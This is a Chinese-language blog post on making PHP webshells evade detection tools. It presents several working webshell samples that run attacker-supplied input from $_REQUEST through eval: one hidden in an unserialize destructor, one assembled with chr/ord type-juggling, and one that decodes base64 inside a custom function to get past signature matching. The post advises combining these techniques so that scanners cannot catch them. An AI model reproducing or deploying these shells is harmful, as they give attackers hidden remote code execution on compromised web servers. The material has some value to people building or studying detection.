前言
最近研究了一下webshell的免杀,发现还是比较简单的。市面上大多的webshell查杀工具都是基于正则匹配,或者提取已有样本的特征来判断。想要免杀只需要判断出查杀工具的查杀规则,避开规则就可以做到免杀,这里以php为例,分享一些研究过程中发现的免杀构造技巧。
免杀技巧
1.特殊的执行方式
很久之前t00ls上有一篇文章说的是通过构造反序列化的对象,然后在反序列化的过程中魔术方法的执行导致的内藏函数被执行。因为这种方式太像正常的代码了,为了防止误报,很多查杀工具即使知道这种方法也不会轻易把它判断为木马。
<?php class goods{ var $Array= ""; function __destruct(){ $this->ha(); } function ha(){ @eval($this->Array); } } if(!isset($_REQUEST['test']))exit(1); $test = $_REQUEST['test']; $len = (string)strlen($test); $test = 'O:5:"goods":1:{s:5:"Array";s:'.$len.':"'.$test.'";}'; unserialize($test); ?>
可以看到,除了D盾外其他扫描后均未警报,而D盾给出的说明也只是反序列化执行,而这问题常出现于程序员写的漏洞中。
2.类型转换
利用php弱类型语言的特性,对常量或变量进行强制类型转换出现的效果来进行敏感字词的混淆。
先来看看普通的一句话:
<?php eval(chr(ord('d')+1).'v'.'al($_R'.chr(ord('D')+1).'Q'.'UEST["test"]);'); ?>
检测结果:
几乎相同的代码,而在+1的地方修改为+'1'进行强制类型转换后:
3.使用不常用的字符函数和数学函数进行字段混淆
一些常用的字符操作函数很容易被检测出来,而常用的加密函数大多被列入了黑名单中时刻监视着,如base64_decode():
<?php eval(base64_decode("hahahaha")); ?>
检测结果:
从上图可知,即使字符串没有任何意义也一样被警报。而用一些相对少见的字符操作函数或者数学函数就可以达到免杀的效果。这里我就不举例子了,去php官网一搜就有一堆,印象比较深刻的是今年有次ctf比赛就要求用的一堆数学函数构造出一个webshell读取flag。最后用到的是base_convert(),dechex()这两个。
4.创建自己的加密函数
创建自己的字符加解密函数encrypt() decrpty(),然后通过decrpty()解密你构造出来的加密字符串后使用eval()执行。
简单举个例子:
<?php eval(base64_decode('ZXZhbCgkX1JFUVVFU1RbJ3Rlc3QnXSk7')); ?>
而当使用的函数为用户自己定义的时候,即使仍是套用了base64_decode()函数,可是因为无法被匹配出来而达到了绕过的效果。
<?php function ddddd(){ return base64_decode('ZXZhbCgkX1JFUVVFU1RbJ3Rlc3QnXSk7'); } eval(ddddd()); ?>
结果:
总结
以上为研究过程中发现的免杀技巧,每种技巧都可以做到免杀的效果,防止一些技巧以后会被改进的工具破解出来,建议多种技巧一起使用。因为已经达到了目的而未继续做更深入的研究。网上搜索也会发现很多大佬的文章中给出了很多的免杀webshell,虽然它们大多已经被作为已知后门提取了特征码从而容易遭到查杀,但如果加入一些无意义的语句等方式混淆一下特征还是有着免杀的效果。